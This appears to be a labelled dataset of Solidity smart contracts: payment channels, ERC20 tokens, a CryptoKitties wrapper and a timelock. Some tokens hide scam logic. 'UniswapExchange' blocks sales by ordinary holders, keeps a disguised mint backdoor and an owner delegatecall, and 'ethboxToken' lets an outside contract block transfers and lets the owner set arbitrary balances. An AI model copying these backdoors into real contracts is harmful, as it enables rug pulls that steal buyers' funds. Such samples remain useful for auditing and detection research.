Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowances[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
}
contract ChannelApi {
function applyRuntimeUpdate(address from, address to, uint impressionsCount, uint fraudCount);
function applyAuditorsCheckUpdate(address from, address to, uint fraudCountDelta);
}
contract ChannelContract {
using ChannelLibrary for ChannelLibrary.Data;
ChannelLibrary.Data data;
event ChannelNewBalance(address token_address, address participant, uint balance, uint block_number);
event ChannelCloseRequested(address closing_address, uint block_number);
event ChannelClosed(address closing_address, uint block_number);
event TransferUpdated(address node_address, uint block_number);
event ChannelSettled(uint block_number);
event ChannelAudited(uint block_number);
event ChannelSecretRevealed(bytes32 secret, address receiver_address);
modifier onlyManager() {
require(msg.sender == address(data.manager));
_;
}
function ChannelContract(
address manager_address,
address sender,
address client,
address receiver,
uint close_timeout,
uint settle_timeout,
uint audit_timeout,
address auditor
)
{
require(msg.sender == manager_address);
require (sender != receiver);
require (client != receiver);
require (audit_timeout >= 0);
require (settle_timeout > 0);
require (close_timeout >= 0);
data.sender = sender;
data.client = client;
data.receiver = receiver;
data.auditor = auditor;
data.manager = ChannelManagerContract(manager_address);
data.close_timeout = close_timeout;
data.settle_timeout = settle_timeout;
data.audit_timeout = audit_timeout;
data.opened = block.number;
}
function deposit(uint256 amount) returns (bool) {
bool success;
uint256 balance;
(success, balance) = data.deposit(amount);
if (success == true) {
ChannelNewBalance(data.manager.token(), msg.sender, balance, 0);
}
return success;
}
function addressAndBalance()
constant
returns (
address sender,
address receiver,
uint balance)
{
sender = data.sender;
receiver = data.receiver;
balance = data.balance;
}
function request_close () {
data.request_close();
ChannelCloseRequested(msg.sender, data.closed);
}
function close (
uint nonce,
uint256 completed_transfers,
bytes signature
) {
data.close(address(this), nonce, completed_transfers, signature);
ChannelClosed(msg.sender, data.closed);
}
function settle() {
data.settle();
ChannelSettled(data.settled);
}
function audit(address auditor) onlyManager {
data.audit(auditor);
ChannelAudited(data.audited);
}
function destroy() onlyManager {
require(data.settled > 0);
require(data.audited > 0 || block.number > data.closed + data.audit_timeout);
selfdestruct(0);
}
function sender() constant returns (address) {
return data.sender;
}
function receiver() constant returns (address) {
return data.receiver;
}
function client() constant returns (address) {
return data.client;
}
function auditor() constant returns (address) {
return data.auditor;
}
function closeTimeout() constant returns (uint) {
return data.close_timeout;
}
function settleTimeout() constant returns (uint) {
return data.settle_timeout;
}
function auditTimeout() constant returns (uint) {
return data.audit_timeout;
}
function manager() constant returns (address) {
return data.manager;
}
function balance() constant returns (uint) {
return data.balance;
}
function nonce() constant returns (uint) {
return data.nonce;
}
function completedTransfers() constant returns (uint) {
return data.completed_transfers;
}
function opened() constant returns (uint) {
return data.opened;
}
function closeRequested() constant returns (uint) {
return data.close_requested;
}
function closed() constant returns (uint) {
return data.closed;
}
function settled() constant returns (uint) {
return data.settled;
}
function audited() constant returns (uint) {
return data.audited;
}
function () { revert(); }
}
contract ChannelManagerContract {
event ChannelNew(
address channel_address,
address indexed sender,
address client,
address indexed receiver,
uint close_timeout,
uint settle_timeout,
uint audit_timeout
);
event ChannelDeleted(
address channel_address,
address indexed sender,
address indexed receiver
);
StandardToken public token;
ChannelApi public channel_api;
function ChannelManagerContract(address token_address, address channel_api_address) {
require(token_address != 0);
require(channel_api_address != 0);
token = StandardToken(token_address);
channel_api = ChannelApi(channel_api_address);
}
function newChannel(
address client,
address receiver,
uint close_timeout,
uint settle_timeout,
uint audit_timeout,
address auditor
)
returns (address)
{
address new_channel_address = new ChannelContract(
this,
msg.sender,
client,
receiver,
close_timeout,
settle_timeout,
audit_timeout,
auditor
);
ChannelNew(
new_channel_address,
msg.sender,
client,
receiver,
close_timeout,
settle_timeout,
audit_timeout
);
return new_channel_address;
}
function auditReport(address contract_address, uint total, uint fraud) {
ChannelContract ch = ChannelContract(contract_address);
require(ch.manager() == address(this));
address auditor = msg.sender;
ch.audit(auditor);
channel_api.applyRuntimeUpdate(ch.sender(), ch.receiver(), total, fraud);
}
function destroyChannel(address channel_address) {
ChannelContract ch = ChannelContract(channel_address);
require(ch.manager() == address(this));
ChannelDeleted(channel_address,ch.sender(),ch.receiver());
ch.destroy();
}
} | 0 | 2,328 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 314 |
pragma solidity ^0.5.8;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor() public {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract WrappedCKG0 is ERC20, ReentrancyGuard {
using SafeMath for uint256;
event DepositKittyAndMintToken(
uint256 kittyId
);
event BurnTokenAndWithdrawKitty(
uint256 kittyId
);
uint256[] private depositedKittiesArray;
mapping (uint256 => bool) private kittyIsDepositedInContract;
uint8 constant public decimals = 18;
string constant public name = "Wrapped Gen0 CK";
string constant public symbol = "WG0";
address public kittyCoreAddress = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d;
KittyCore kittyCore;
function depositKittiesAndMintTokens(uint256[] calldata _kittyIds) external nonReentrant {
require(_kittyIds.length > 0, 'you must submit an array with at least one element');
for(uint i = 0; i < _kittyIds.length; i++){
uint256 kittyToDeposit = _kittyIds[i];
require(msg.sender == kittyCore.ownerOf(kittyToDeposit), 'you do not own this cat');
require(kittyCore.kittyIndexToApproved(kittyToDeposit) == address(this), 'you must approve() this contract to give it permission to withdraw this cat before you can deposit a cat');
require(kittyCore.getKitty(kittyToDeposit) == 1, 'this cat must be gen1');
kittyCore.transferFrom(msg.sender, address(this), kittyToDeposit);
_pushKitty(kittyToDeposit);
emit DepositKittyAndMintToken(kittyToDeposit);
}
_mint(msg.sender, (_kittyIds.length).mul(10**18));
}
function burnTokensAndWithdrawKitties(uint256[] calldata _kittyIds, address[] calldata _destinationAddresses) external nonReentrant {
require(_kittyIds.length == _destinationAddresses.length, 'you did not provide a destination address for each of the cats you wish to withdraw');
require(_kittyIds.length > 0, 'you must submit an array with at least one element');
uint256 numTokensToBurn = _kittyIds.length;
require(balanceOf(msg.sender) >= numTokensToBurn.mul(10**18), 'you do not own enough tokens to withdraw this many ERC721 cats');
_burn(msg.sender, numTokensToBurn.mul(10**18));
for(uint i = 0; i < numTokensToBurn; i++){
uint256 kittyToWithdraw = _kittyIds[i];
if(kittyToWithdraw == 0){
kittyToWithdraw = _popKitty();
} else {
require(kittyIsDepositedInContract[kittyToWithdraw] == true, 'this kitty has already been withdrawn');
require(address(this) == kittyCore.ownerOf(kittyToWithdraw), 'the contract does not own this cat');
kittyIsDepositedInContract[kittyToWithdraw] = false;
}
kittyCore.transfer(_destinationAddresses[i], kittyToWithdraw);
emit BurnTokenAndWithdrawKitty(kittyToWithdraw);
}
}
function _pushKitty(uint256 _kittyId) internal {
depositedKittiesArray.push(_kittyId);
kittyIsDepositedInContract[_kittyId] = true;
}
function _popKitty() internal returns(uint256){
require(depositedKittiesArray.length > 0, 'there are no cats in the array');
uint256 kittyId = depositedKittiesArray[depositedKittiesArray.length - 1];
depositedKittiesArray.length--;
while(kittyIsDepositedInContract[kittyId] == false){
kittyId = depositedKittiesArray[depositedKittiesArray.length - 1];
depositedKittiesArray.length--;
}
kittyIsDepositedInContract[kittyId] = false;
return kittyId;
}
function batchRemoveWithdrawnKittiesFromStorage(uint256 _numSlotsToCheck) external {
require(_numSlotsToCheck <= depositedKittiesArray.length, 'you are trying to batch remove more slots than exist in the array');
uint256 arrayIndex = depositedKittiesArray.length;
for(uint i = 0; i < _numSlotsToCheck; i++){
arrayIndex = arrayIndex.sub(1);
uint256 kittyId = depositedKittiesArray[arrayIndex];
if(kittyIsDepositedInContract[kittyId] == false){
depositedKittiesArray.length--;
} else {
return;
}
}
}
constructor() public {
kittyCore = KittyCore(kittyCoreAddress);
}
function() external payable {}
}
contract KittyCore {
function ownerOf(uint256 _tokenId) public view returns (address owner);
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function getKitty(uint256 _id) public view returns (uint256 _generation);
mapping (uint256 => address) public kittyIndexToApproved;
} | 1 | 3,383 |
pragma solidity ^0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract BeneficiaryChangeableTimelock is TokenTimelock, Ownable {
event BeneficiaryChanged(address oldBeneficiary, address newBeneficiary);
function changeBeneficiary(address _beneficiary) public onlyOwner {
emit BeneficiaryChanged(beneficiary, _beneficiary);
beneficiary = _beneficiary;
}
function release () public {
require (beneficiary != 0x0);
TokenTimelock.release();
}
}
contract Fr8NonUSRound2 is BeneficiaryChangeableTimelock {
constructor()
Ownable()
TokenTimelock(
ERC20Basic(0x8c39afDf7B17F12c553208555E51ab86E69C35aA),
0xAd1894E702719723F255C50767B37D9e54621f28,
1558483200
)
public {
owner = 0xAd1894E702719723F255C50767B37D9e54621f28;
}
} | 1 | 2,902 |
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
interface KeeperLike {
function checkUpkeep(bytes calldata checkData) external returns (bool upkeepNeeded, bytes memory performData);
function performUpkeepSafe(bytes calldata performData) external;
function performUpkeep(bytes calldata performData) external;
}
contract BGelato {
KeeperLike immutable public proxy;
constructor(KeeperLike _proxy) public {
proxy = _proxy;
}
function checker()
external
returns (bool canExec, bytes memory execPayload)
{
(bool upkeepNeeded, bytes memory performData) = proxy.checkUpkeep(bytes(""));
canExec = upkeepNeeded;
(uint qty, address bamm, uint bammBalance) = abi.decode(performData, (uint, address, uint));
execPayload = abi.encodeWithSelector(
BGelato.doer.selector,
qty, bamm, bammBalance
);
}
event Input(uint x, address y, uint z);
event Input2(bytes d);
function doer(uint qty, address bamm, uint bammBalance) external returns (bytes memory performData) {
emit Input(qty, bamm, bammBalance);
performData = abi.encode(qty, bamm, bammBalance);
emit Input2(performData);
proxy.performUpkeepSafe(performData);
}
function test(bytes calldata input) external {
address(this).call(input);
}
} | 0 | 1,427 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract ethboxToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 65000000000000000000000000;
string public name = "ethbox Token";
string public symbol = "EBOX";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,773 |
pragma solidity ^0.4.25;
interface ERC20 {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) external;
}
contract WoodMaterial is ERC20 {
